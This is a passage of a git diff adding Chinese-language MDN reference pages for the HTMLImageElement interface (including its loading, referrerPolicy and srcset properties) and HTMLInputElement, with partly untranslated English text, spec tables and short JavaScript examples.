An optional {{domxref("DOMString")}} representing a hint given to the browser on how it should decode the image. If this value is provided, it must be one of the possible permitted values: sync to decode the image synchronously, async to decode it asynchronously, or auto to indicate no preference (which is the default). Read the {{domxref("HTMLImageElement.decoding", "decoding")}} page for details on the implications of this property's values.
+
{{domxref("HTMLImageElement.height")}}
+
一个整数,表示 HTML 属性 {{htmlattrxref("height", "img")}},说明了图像在 CSS 像素中渲染的高度。
+
{{domxref("HTMLImageElement.isMap")}}
+
一个 {{domxref("Boolean")}} 表示 HTML 属性 {{htmlattrxref("ismap", "img")}},说明了图像是某个服务器端图像映射的一部分。This is different from a client-side image map, specified using an <img> element and a corresponding {{HTMLElement("map")}} which contains {{HTMLElement("area")}} elements indicating the clickable areas in the image. The image must be contained within an {{HTMLElement("a")}} element; see the ismap page for details.
+
{{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}}
+
返回一个整数,如果可用的话,表明图像在 CSS 中固有的高度,单位为像素;否则返回 0。如果图片是以其原来的大小渲染,则此值等于图片的高度。
+
{{domxref("HTMLImageElement.naturalWidth")}} {{readonlyInline}}
+
返回一个整数,如果可用的话,表明图像在 CSS 中固有的宽度,单位为像素;否则返回 0。如果图片是以其原来的大小渲染,则此值等于图片的宽度。
+
{{domxref("HTMLImageElement.referrerPolicy")}}
+
A {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "img")}} HTML attribute, which tells the {{Glossary("user agent")}} how to decide which referrer to use in order to fetch the image. Read this article for details on the possible values of this string.
+
{{domxref("HTMLImageElement.sizes")}} {{experimental_inline}}
+
A {{domxref("DOMString")}} reflecting the {{htmlattrxref("sizes", "img")}} HTML attribute. This string specifies a list of comma-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used. Read the documentation on the {{domxref("HTMLImageElement.sizes", "sizes")}} page for details on the format of this string.
+
{{domxref("HTMLImageElement.src")}}
+
一个 {{domxref("DOMString")}} 表示 HTML 属性 {{htmlattrxref("src", "img")}},包含图像的完整的 URL,包含图像的基础 URL。
+
{{domxref("HTMLImageElement.srcset")}} {{experimental_inline}}
+
一个 {{domxref("DOMString")}} 表示 HTML 属性 {{htmlattrxref("srcset", "img")}},包含了候选图像列表,用逗号分隔(',', U+002C COMMA)。一个候选的图像是一个URL 跟着一个 'w' 表示图像的宽度,或者一个 'x' 表示像素密度.
+
{{domxref("HTMLImageElement.useMap")}}
+
一个 {{domxref("DOMString")}} 表示 HTML 属性 {{htmlattrxref("usemap", "img")}},包含一个 {{HTMLElement("map")}} 元素的页面本地 URL。The page-local URL is a pound (hash) symbol (#) followed by the ID of the <map> element, such as #my-map-element. The <map> in turn contains {{HTMLElement("area")}} elements indicating the clickable areas in the image.
+
{{domxref("HTMLImageElement.width")}}
+
一个整数,表示 HTML 属性 {{htmlattrxref("width", "img")}},说明图像在 CSS 像素中渲染的宽度。
+
{{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}}
+
An integer indicating the horizontal offset of the left border edge of the image's CSS layout box relative to the origin of the {{HTMLElement("html")}} element's containing block.
+
{{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}}
+
The integer vertical offset of the top border edge of the image's CSS layout box relative to the origin of the {{HTMLElement("html")}} element's containing block.
+
+ +

已废弃的属性

+ +
+
{{domxref("HTMLImageElement.align")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}},表示图像如何与它周围的内容对齐。The possible values are "left", "right", "justify", and "center". This is obsolete; you should instead use CSS (such as {{cssxref("text-align")}}, which works with images despite its name) to specify the alignment.
+
{{domxref("HTMLImageElement.border")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}},表示图像边框的宽度。此属性已被弃用,应该用 CSS {{cssxref("border")}} 属性来代替它。
+
{{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}}
+
一个整数值,指定图像左右的留白,单位为像素。
+
{{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}}
+
一个 {{domxref("USVString")}},specifying the URL at which a long description of the image's contents may be found. This is used to turn the image into a hyperlink automatically. Modern HTML should instead simply place an <img> inside an {{HTMLElement("a")}} element defining the hyperlink.
+
{{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}}
+
一个 {{domxref("USVString")}},specifying the URL of a low-quality (but faster to load) version of the same image. This was once used by browsers under constrained network conditions or on slow devices.
+
{{domxref("HTMLImageElement.name")}} {{obsolete_inline}}
+
一个 {{domxref("DOMString")}},representing the name of the element.
+
{{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}}
+
一个整数值,指定图像上下的留白,单位为像素。
+
+ +

方法

+ +

从它的父元素 {{domxref("HTMLElement")}} 继承的方法。

+ +
+
{{domxref("HTMLImageElement.decode()")}}
+
Returns a {{jsxref("Promise")}} that resolves when the image is decoded and it's safe to append the image to the DOM. This prevents rendering of the next frame from having to pause to decode the image, as would happen if an undecoded image were added to the DOM.
+
+ +

错误

+ + + +
+
If an error occurs while trying to load or render the image, and an {{htmlattrxref("onerror")}} event handler has been configured to handle the {{event("error")}} event, that event handler will get called. This can happen in a number of situations, including:
+
+ +

例子

+ +
var img1 = new Image(); // Image 构造器
+img1.src = 'image1.png';
+img1.alt = 'alt';
+document.body.appendChild(img1);
+
+var img2 = document.createElement('img'); // 使用 DOM HTMLImageElement
+img2.src = 'image2.jpg';
+img2.alt = 'alt text';
+document.body.appendChild(img2);
+
+// 使用文档中的第一个 img
+alert(document.images[0].src);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSSOM View", "#excensions-to-the-htmlimageelement-interface", "Extensions to HTMLImageElement")}}{{Spec2('CSSOM View')}}添加 xy 属性。
{{SpecName('HTML WHATWG', "embedded-content.html#the-img-element", "HTMLImageElement")}}{{Spec2('HTML WHATWG')}}以下属性被添加了:srcsetcurrentSrcsizes
{{SpecName('HTML5 W3C', "embedded-content-0.html#the-img-element", "HTMLImageElement")}}{{Spec2('HTML5 W3C')}}一个构造器(带有 2 个可选的参数)已经被添加.
+ 以下属性已被弃用:nameborderalignhspacevspace,和 longdesc.
+ 以下属性现在是 unsigned long, 类型,不再是 long 类型: heightwidth
+ 添加了以下属性:crossorigin, naturalWidth, naturalHeight, 和complete.
{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}{{Spec2('DOM2 HTML')}}The lowSrc 属性已被移除。
+ 以下属性现在是 long 类型了,而不是 DOMString 类型了: heightwidthhspace,和 vspace
{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}{{Spec2('DOM1')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLImageElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlimageelement/loading/index.html b/files/zh-cn/web/api/htmlimageelement/loading/index.html new file mode 100644 index 0000000000..9566b4a7c1 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/loading/index.html @@ -0,0 +1,98 @@ +--- +title: HTMLImageElement.loading +slug: Web/API/HTMLImageElement/loading +tags: + - 懒加载 +translation_of: Web/API/HTMLImageElement/loading +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLImageElement")}} 的loading属性为一个字符串,它的值会提示 {{Glossary("用户代理")}} 告诉浏览器不在{{Glossary("可视视口")}}内的图片该如何加载。这样一来,通过推迟图片加载仅让其在需要的时候加载而非页面初始载入时立刻加载,优化了页面的载入。 

+ +

语法

+ +
let imageLoadScheduling = htmlImageElement.loading;
+htmlImageElement.loading = eagerOrLazy;
+
+ +

+ +

{{domxref("DOMString")}} 提示用户代理该如何最佳规划图片加载来优化页面性能。可能的值有:

+ +
+
eager
+
默认行为, eager 告诉浏览器当处理 <img> 标签时立即加载图片。
+
lazy
+
告诉用户代理推迟图片加载直到浏览器认为其需要立即加载时才去加载。例如,如果用户正在往下滚动页面,值为 lazy 会导致图片仅在马上要出现在 {{Glossary("可视视口")}}中时开始加载.
+
+ +

使用说明

+ +

load事件的时机

+ +

  {{domxref("Window.load_event","load")}} 事件在文档被完整的处理完成时触发。当图片使用立即加载(默认值)时,文档中的所有图片都会在 load 事件触发前载入。

+ +

当 loading 值设为 lazy 时,图片不再会在请求,下载,处理的时间内推迟 load 事件触发。

+ +

 loading 属性值设为 lazy 但是在页面初次加载时就在可视视口内的图片会立即加载但它们也不会推迟 load 事件。换句话说,这些图片不会在处理  <img> 元素时立即加载,但仍会作为页面初始加载的一部分而加载。他们只是不会影响 load 事件。

+ +

这表明当 load 触发时,可视区域内懒加载的图片可能不可见。

+ +

防止元素在图片懒加载时出现移位

+ +

当一个加载被 loading 属性设为 lazy 的图片最后加载时,浏览器会根据{{HTMLElement("img")}} 元素的尺寸和图片自身大小重排文档,更新被图片影响的元素的位置。

+ +

为了防止重排发生,你需要使用 {{htmlattrxref("width", "img")}} 和 {{htmlattrxref("height", "img")}} 属性明确设置图片大小。通过这样建立固有长宽比,你防止了元素的移位。取决于实际的加载时间和重排,移位造成的最小的影响可能只是使用户困惑和不适,最坏的影响则是导致用户点错目标。

+ +

示例

+ +

下面展示的 addImageToList() 函数将一个照片缩略图添加到一个物品列表中,使用懒加载防止请求图片,直到其真正需要显示。

+ +
function addImageToList(url) {
+  const list = document.querySelector("div.photo-list");
+
+  let newItem = document.createElement("div");
+  newItem.className = "photo-item";
+
+  let newImg = document.createElement("img");
+  newImg.loading = "lazy";
+  newImg.width = 320;
+  newImg.height = 240;
+  newImg.src = url;
+
+  newItem.appendChild(newImg);
+  list.appendChild(newItem);
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#attr-img-loading", "HTMLImageElement.loading")}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ +

{{Compat("api.HTMLImageElement.loading")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlimageelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmlimageelement/referrerpolicy/index.html new file mode 100644 index 0000000000..c670d136f3 --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/referrerpolicy/index.html @@ -0,0 +1,120 @@ +--- +title: HTMLImageElement.referrerPolicy +slug: Web/API/HTMLImageElement/referrerPolicy +translation_of: Web/API/HTMLImageElement/referrerPolicy +--- +
{{APIRef}}{{SeeCompatTable}}
+ + + +

HTMLImageElement.referrerPolicy 反映了 {{HTMLElement("img")}} 元素的HTML属性 {{htmlattrxref("referrerpolicy","img")}} 的定义,这个属性定义了{{HTMLElement("img")}} 元素在获取资源时的引用方式。

+ + + +

语法

+ +
refStr = imgElt.referrerPolicy;
+imgElt.referrerPolicy = refStr;
+ +

+ +
+
+
    +
  • "no-referrer" 表示HTTP头部信息将不会发送 referrer
  • +
  • "origin" 表示 referrer 只包含策略、主机名、端口等页面源的信息。
  • +
  • "unsafe-url" 这意味着引用者将包括源站和路径(但不包括片段、密码或用户名)。这种情况是不安全的,因为它可能会泄漏路径信息,这些信息已被使用TLS隐藏到第三方。
  • +
+
+
+ +

例子

+ +
var img = new Image();
+img.src = 'img/logo.png';
+img.referrerPolicy = 'origin';
+
+var div = document.getElementById('divAround');
+div.appendChild(img); // Fetch the image using the origin as the referrer
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrerPolicy attribute')}}{{Spec2('Referrer Policy')}}Added the referrerPolicy property.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome("51")}}{{CompatUnknown}}{{CompatGeckoDesktop("50.0")}} [1]{{CompatUnknown}}{{CompatOpera("38")}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatChrome("51")}}{{CompatChrome("51")}}{{CompatGeckoMobile("50.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 从火狐45到50,这都是在network.http.enableperelementerfer首选项之后。从火狐42到44,这个属性被称为referer。

+ +

相关

+ + diff --git a/files/zh-cn/web/api/htmlimageelement/srcset/index.html b/files/zh-cn/web/api/htmlimageelement/srcset/index.html new file mode 100644 index 0000000000..9e100502ee --- /dev/null +++ b/files/zh-cn/web/api/htmlimageelement/srcset/index.html @@ -0,0 +1,126 @@ +--- +title: HTMLImageElement.srcset +slug: Web/API/HTMLImageElement/srcset +translation_of: Web/API/HTMLImageElement/srcset +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLImageElement")}} 的 srcset 的值是一个字符串,用来定义一个或多个图像候选地址,以 ,分割,每个候选地址将在特定条件下得以使用。候选地址包含图片 URL 和一个可选的宽度描述符和像素密度描述符,该候选地址用来在特定条件下替代原始地址成为 {{domxref("HTMLImageElement.src", "src")}}  的属性。

+ +

The srcset property, along with the {{domxref("HTMLImageElement.sizes", "sizes")}} property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation.

+ +

Syntax

+ +
htmlImageElement.srcset = imageCandidateStrings;
+let srcset = htmlImageElement.srcset;
+
+ +

Value

+ +

A {{domxref("USVString")}} containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the {{HTMLElement("img")}} element represented by the HTMLImageElement.

+ +

Each image candidate string must begin with a valid URL referencing a non-interactive graphic resource. This is followed by a comma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used. Space characters, other than the whitespace separating the URL and the corresponding condition descriptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma.

+ +

If the condition descriptor is not provided (in other words, the image candidate provides only a URL), the candidate is used as the fallback if none of the other candidates match. Otherwise, the condition descriptor may take one of two forms:

+ + + +

You may mix and match the two types of descriptor. You must not, however, provide multiple image candidate strings that specify the same descriptor. All of the following are valid image candidate strings:

+ +
"images/team-photo.jpg 1x, images/team-photo-retina.jpg 2x, images/team-photo-full 2048w"
+ +

This string provides versions of an image to be used at the standard pixel density (1x) as well as double that pixel density (2x). Also available is a version of the image for use at a width of 2048 pixels (2048w).

+ +
"header640.png 640w, header960.png 960w, header1024.png 1024w, header.png"
+ +

This string provides versions of a header image to use when the {{Glossary("user agent", "user agent's")}} renderer needs an image of width 640px, 960px, or 1024px. An additional, fallback image candidate is provided without any condition at all, to be used for any other width.

+ +
"icon32px.png 32w, icon64px.png 64w, icon-retina.png 2x icon-ultra.png 3x icon.svg"
+ +

Here, options are provided for an icon at widths of 32px and 64px, as well as at pixel densities of 2x and 3x. A fallback image is provided as an SVG file that should be used in all other cases. Notice that the candidates may use different image types.

+ +

For more information on what image formats are available for use in the {{HTMLElement("img")}} element, see Image file type and format guide.

+ +

Example

+ +

HTML

+ +

The HTML below indicates that the default image is the 200 pixel wide version of the clock image we use in several places throughout our documentation. Also specified by the srcset attribute is that the 200-pixel version should be used for 1x displays while the 400-pixel version should be used for 2x displays.

+ +
<div class="box">
+  <img src="/files/16797/clock-demo-200px.png"
+       alt="Clock"
+       srcset="/files/16864/clock-demo-200px.png 1x, /files/16797/clock-demo-400px.png 2x">
+</div>
+
+ +

CSS

+ +

The CSS simply specifies that the image and its surrounding box should be 200 pixels square and should have a simple border around it. Also provided is the {{cssxref("word-break")}} attribute, using the break-all value to tell the browser to wrap the string within the width available regardless of where in the string the wrap must occur.

+ +
.box {
+  width: 200px;
+  border: 2px solid rgba(150, 150, 150, 255);
+  padding: 0.5em;
+  word-break: break-all;
+}
+
+.box img {
+  width: 200px;
+}
+ +

JavaScript

+ +

The following code is run within a handler for the {{domxref("Window", "window")}}'s {{domxref("Window.load_event", "load")}} event.  It uses the image's  {{domxref("HTMLImageElement.currentSrc", "currentSrc")}} property to fetch and display the URL selected by the browser from the srcset.

+ +
let box = document.querySelector(".box");
+let image = box.querySelector("img");
+
+let newElem = document.createElement("p");
+newElem.innerHTML = `Image: <code>${image.currentSrc}</code>`;
+box.appendChild(newElem);
+
+ +

Result

+ +

In the displayed output below, the selected URL will correspond with whether your display results in selecting the 1x or the 2x version of the image. If you happen to have both standard and high density displays, try moving this window between them and reloading the page to see the results change.

+ +

{{EmbedLiveSample("Example", 640, 320)}}

+ +

For additional examples, see our guide to responsive images.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-img-srcset', 'HTMLImageElement.srcset')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLImageElement.srcset")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlinputelement/index.html b/files/zh-cn/web/api/htmlinputelement/index.html new file mode 100644 index 0000000000..77ad4ed2c7 --- /dev/null +++ b/files/zh-cn/web/api/htmlinputelement/index.html @@ -0,0 +1,648 @@ +--- +title: HTMLInputElement +slug: Web/API/HTMLInputElement +tags: + - API + - HTML DOM + - Interface + - NeedsNewLayout + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLInputElement +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLInputElement 接口提供了特定的属性和方法(继承自常规的{{domxref("HTMLElement", "HTML元素")}}接口)用于管理输入元素的布局和外观。

+ +

{{InheritanceDiagram(600,120)}}

+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
与父表单相关的属性
form {{readonlyInline}}{{domxref("HTMLFormElement")}} object:  返回一个父表单元素的引用。
formActionstring: 返回/ 设置 元素的 {{ htmlattrxref("formaction", "input") }} 属性, 包含处理元素提交信息程序的URI. 这会重写父表单的 {{ htmlattrxref("action", "form") }} 属性.
formEncTypestring: 返回/ 设置 元素的 {{ htmlattrxref("formenctype", "input") }} 属性, 包含将表单提交到服务器的内容类型. 这会重写父表单的 {{ htmlattrxref("enctype", "form") }} 属性.
formMethodstring: 返回/ 设置 元素的 {{ htmlattrxref("formmethod", "input") }} 属性, 包含浏览器用于提交表单的HTTP方法. 这会重写父表单的 {{ htmlattrxref("method", "form") }} 属性.
formNoValidateboolean: 返回/ 设置 元素的 {{ htmlattrxref("formnovalidate", "input") }} 属性, 表示在表单提交时不对其进行验证. 这会重写父表单的 {{ htmlattrxref("novalidate", "form") }} 属性.
formTargetstring: 返回/ 设置 元素的 {{ htmlattrxref("formtarget", "input") }} 属性, 包含一个名称或关键字, 表示在提交表单后接收响应的显示位置. 这会重写父表单的 {{ htmlattrxref("target", "form") }} 属性.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
可用于任何非隐藏输入元素的属性
namestring: 返回/ 设置 元素的 {{ htmlattrxref("name", "input") }} 属性, 包含名称.
typestring: 返回/ 设置 元素的 {{ htmlattrxref("type", "input") }} 属性, 包含显示类型. 查看 {{ HTMLElement("input") }} 的 {{ htmlattrxref("type", "input") }} 属性可用值.
disabledboolean: 返回/ 设置 元素的 {{ htmlattrxref("disabled", "input") }} 属性, 表示是否禁用 {{ HTMLElement("input") }}. 该元素的值将不会被提交. 也可以查看 {{ htmlattrxref("readOnly", "input") }} 
autofocusboolean: 返回/ 设置 元素的 {{ htmlattrxref("autofocus", "input") }} 属性, 指定的 {{ HTMLElement("input") }} 在页面加载时应当具有输入焦点, 例如通过键入不同的控件. 在文档中只有一个表单元素可以拥有 {{htmlattrxref("autofocus","input")}} 属性. 如果 {{htmlattrxref("type","input")}} 属性被设置为 hidden 则无效(即不可为隐藏控件设置自动焦点).
requiredboolean: 返回/ 设置 元素的 {{ htmlattrxref("required", "input") }} 属性, 表示用户必填项.
valuestring: 返回/ 设置 当前控件的值. +

提示: 如果用户输入与预期不同,可能会返回空.

+
validity {{readonlyInline}}{{domxref("ValidityState")}} object: Returns the validity state that this element is in.
validationMessage {{readonlyInline}}string: Returns a localized message that describes the validation constraints that the control does not satisfy (if any). This is the empty string if the control is not a candidate for constraint validation ({{htmlattrxref("willValidate","input")}} is false), or it satisfies its constraints.
willValidate {{readonlyInline}}{{jsxref("Boolean")}}: Indicates whether the element is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+ + + + + + + + + + + + + + + + + +
仅适用于类型为"checkbox" 或 "radio"元素的属性
checked boolean: 返回/ 设置 当前选中状态,当控件{{htmlattrxref("type","input")}} 是 checkbox 或 radio时.
defaultCheckedboolean: 返回/ 设置 the default state of a radio button or checkbox as originally specified in HTML that created this object.
indeterminateboolean: indicates that the checkbox is neither on nor off. Changes the appearance to resemble a third state. Does not affect the value of the checked 属性, and clicking the checkbox will set the value to false.
+ + + + + + + + + + + + + + + + + + + + + +
仅适用于类型为"image"元素的属性
altstring: 返回/ 设置 元素的 {{ htmlattrxref("alt", "input") }} 属性, 包含 alternative text to use when {{htmlattrxref("type","input")}} is image.
heightstring: 返回/ 设置 元素的 {{ htmlattrxref("height", "input") }} 属性, which defines the height of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is image.
srcstring: 返回/ 设置 元素的 {{ htmlattrxref("src", "input") }} 属性, which specifies a URI for the location of an image to display on the graphical submit button, if the value of {{htmlattrxref("type","input")}} is image; otherwise it is ignored.
widthstring: 返回/ 设置 the document's {{ htmlattrxref("width", "input") }} 属性, which defines the width of the image displayed for the button, if the value of {{htmlattrxref("type","input")}} is image.
+ + + + + + + + + + + + + + + + + + + + + + + + + +
仅适用于类型为"file"元素的属性
acceptstring: Returns / Sets 元素的 {{ htmlattrxref("accept", "input") }} 属性, 包含 comma-separated list of file types accepted by the server when {{htmlattrxref("type","input")}} is file.
allowdirs {{non-standard_inline}}boolean: Part of the non-standard Directory Upload API; indicates whether or not to allow directories and files both to be selected in the file list. Implemented only in Firefox and is hidden behind a preference.
filesReturns/accepts a {{domxref("FileList")}} object, which contains a list of {{domxref("File")}} objects representing the files selected for upload.
{{domxref("HTMLInputElement.webkitdirectory", "webkitdirectory")}} {{Non-standard_inline}}boolean: Returns the {{htmlattrxref("webkitdirectory", "input")}} 属性; if true, the file system picker interface only accepts directories instead of files.
{{domxref("HTMLInputElement.webkitEntries", "webkitEntries")}} {{Non-standard_inline}}Array of {{domxref("FileSystemEntry")}} objects describing the currently-selected files or directories.
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
仅适用于文本或数字输入元素的属性
autocompletestring: 返回/ 设置 元素的 {{htmlattrxref("autocomplete", "input")}} 属性, indicating whether the value of the control can be automatically completed by the browser. Ignored if the value of the {{htmlattrxref("type","input")}} 属性is hidden, checkbox, radio, file, or a button type (button, submit, reset, image). Possible values are:
+ "on": the browser can autocomplete the value using previously stored value
+ "off": the user must explicity enter a value
maxLengthlong: 返回/ 设置 元素的 {{ htmlattrxref("maxlength", "input") }} 属性, 包含 the maximum length of characters (in Unicode code points) that the value can have. (If you set this to a negative number, an exception will be thrown.)
sizeunsigned long: 返回/ 设置 元素的 {{ htmlattrxref("size", "input") }} 属性, 包含 size of the control. This value is in pixels unless the value of {{htmlattrxref("type","input")}} is text or password, in which case, it is an integer number of characters. Applies only when {{htmlattrxref("type","input")}} is set to text, search, tel, url, email, or password; otherwise it is ignored.
patternstring: 返回/ 设置 元素的 {{ htmlattrxref("pattern", "input") }} 属性, 包含 a regular expression that the control's value is checked against.  Use the {{htmlattrxref("title","input")}} 属性to describe the pattern to help the user. This 属性applies when the value of the {{htmlattrxref("type","input")}} 属性is text, search, tel, url or email; otherwise it is ignored.
placeholderstring: 返回/ 设置 元素的 {{ htmlattrxref("placeholder", "input") }} 属性, 包含 a hint to the user of what can be entered in the control. The placeholder text must not contain carriage returns or line-feeds. This 属性applies when the value of the {{htmlattrxref("type","input")}} 属性is text, search, tel, url or email; otherwise it is ignored.
readOnlyboolean: 返回/ 设置 元素的 {{ htmlattrxref("readonly", "input") }} 属性, indicating that the user cannot modify the value of the control.
+ {{HTMLVersionInline(5)}}This is ignored if the value of the {{htmlattrxref("type","input")}} 属性is hidden, range, color, checkbox, radio, file, or a button type.
minstring: 返回/ 设置 元素的 {{ htmlattrxref("min", "input") }} 属性, 包含 the minimum (numeric or date-time) value for this item, which must not be greater than its maximum ({{htmlattrxref("max","input")}} 属性) value.
maxstring: 返回/ 设置 元素的 {{ htmlattrxref("max", "input") }} 属性, 包含 the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min 属性) value.
selectionStartunsigned long: 返回/ 设置 the beginning index of the selected text. When nothing is selected, this returns the position of the text input cursor (caret) inside of the {{HTMLElement("input")}} element.
selectionEndunsigned long: 返回/ 设置 the end index of the selected text. When there's no selection, this returns the offset of the character immediately following the current text input cursor position.
selectionDirectionstring: 返回/ 设置 the direction in which selection occurred. Possible values are:
+ "forward" if selection was performed in the start-to-end direction of the current locale,
+ "backward" for the opposite direction,
+ "none" if the direction is unknown."
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
未分类的属性
defaultValuestring: 返回/ 设置 the default value as originally specified in the HTML that created this object.
dirNamestring: 返回/ 设置 the directionality of the element.
accessKeystring: 返回 a string 包含 a single character that switches input focus to the control when pressed.
list {{readonlyInline}}{{domxref("HTMLElement")}} object: 返回 the element pointed by the {{ htmlattrxref("list", "input") }} 属性. The property may be null if no HTML element found in the same tree.
multipleboolean: 返回/ 设置 元素的 {{ htmlattrxref("multiple", "input") }} 属性, indicating whether more than one value is possible (e.g., multiple files).
files{{domxref("FileList")}} array: 返回the list of selected files.
{{domxref("HTMLInputElement.labels")}} {{readonlyInline}}{{domxref("NodeList")}} array: 返回a list of {{ HTMLElement("label") }} elements that are labels for this element.
stepstring: 返回/ 设置 元素的 {{ htmlattrxref("step", "input") }} 属性, which works with {{htmlattrxref("min","input")}} and {{htmlattrxref("max","input")}} to limit the increments at which a numeric or date-time value can be set. It can be the string any or a positive floating point number. If this is not set to any, the control accepts only values at multiples of the step value greater than the minimum.
valueAsDate{{jsxref("Date")}} object: Returns / Sets the value of the element, interpreted as a date, or null if conversion is not possible.
valueAsNumberdouble: 返回the value of the element, interpreted as one of the following, in order: +
    +
  • a time value
  • +
  • a number
  • +
  • NaN if conversion is impossible
  • +
+
autocapitalize {{experimental_inline}}string: 定义 the capitalization behavior for user input. Valid values are none, off, characters, words, or sentences.
+ +
+
{{domxref("HTMLInputElement.align")}} {{obsolete_inline}}
+
string: represents the alignment of the element. Use CSS instead.
+
{{domxref("HTMLInputElement.useMap")}} {{ obsolete_inline }}
+
string: represents a client-side image map.
+
+ +

方法

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
focus()Focus on the input element; keystrokes will subsequently go to this element.
blur()Removes focus from input; keystrokes will subsequently go nowhere.
select()Selects the input text in the element, and focuses it so the user can subsequently replace the whole entry.
click()Simulates a click on the element.
setSelectionRange()Selects a range of text in the element (but does not focus it). The optional selectionDirection parameter may be "forward" or "backward" to establish the direction in which selection was set, or "none" if the direction is unknown or not relevant. The default is "none". Specifying a selectionDirection parameter sets the value of the selectionDirection property.
setRangeText() +
+
+

Replaces a range of text with the new text. If the start and end arguments are not provided, the range is assumed to be the selection.The final argument determines how the selection should be set after the text has been replaced. The possible values are:

+ +
+
"select"
+
Selects the newly inserted text.
+
"start"
+
Moves the selection to just before the inserted text.
+
"end"
+
Moves the selection to just after the selected text.
+
"preserve"
+
Attempts to preserve the selection. This is the default.
+
+
+
+
setCustomValidity()Sets a custom validity message for the element. If this message is not the empty string, then the element is suffering from a custom validity error, and does not validate.
checkValidity()Returns a {{jsxref("Boolean")}} that is false if the element is a candidate for constraint validation, and it does not satisfy its constraints. In this case, it also fires an {{event("invalid")}} event at the element. It returns true if the element is not a candidate for constraint validation, or if it satisfies its constraints.
+ +
+
{{domxref("HTMLInputElement.stepDown()")}}
+
Decrements the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception: +
    +
  • if the method is not applicable to for the current {{htmlattrxref("type","input")}} value,
  • +
  • if the element has no {{htmlattrxref("step","input")}} value,
  • +
  • if the {{htmlattrxref("value","input")}} cannot be converted to a number,
  • +
  • if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}. 
  • +
+
+
{{domxref("HTMLInputElement.stepUp()")}}
+
Increments the {{htmlattrxref("value","input")}} by ({{htmlattrxref("step","input")}} * n), where n defaults to 1 if not specified. Throws an INVALID_STATE_ERR exception: +
    +
  • if the method is not applicable to for the current {{htmlattrxref("type","input")}} value.,
  • +
  • if the element has no {{htmlattrxref("step","input")}} value,
  • +
  • if the {{htmlattrxref("value","input")}} cannot be converted to a number,
  • +
  • if the resulting value is above the {{htmlattrxref("max","input")}} or below the {{htmlattrxref("min","input")}}.
  • +
+
+
{{domxref("HTMLInputElement.mozSetFileArray()")}}{{non-standard_inline}}
+
Sets the files selected on the input to the given array of {{domxref("File")}} objects.  This is an alternative to mozSetFileNameArray() which can be used in frame scripts: a chrome script can open files as File objects and send them via message manager.
+
{{domxref("HTMLInputElement.mozGetFileNameArray()")}}{{non-standard_inline}}
+
Returns an array of all the file names from the input.
+
{{domxref("HTMLInputElement.mozSetFileNameArray()")}}{{non-standard_inline}}
+
Sets the filenames for the files selected on the input.  Not for use in frame scripts, because it accesses the file system.
+
+
    +
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "forms.html#the-input-element", "HTMLInputElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
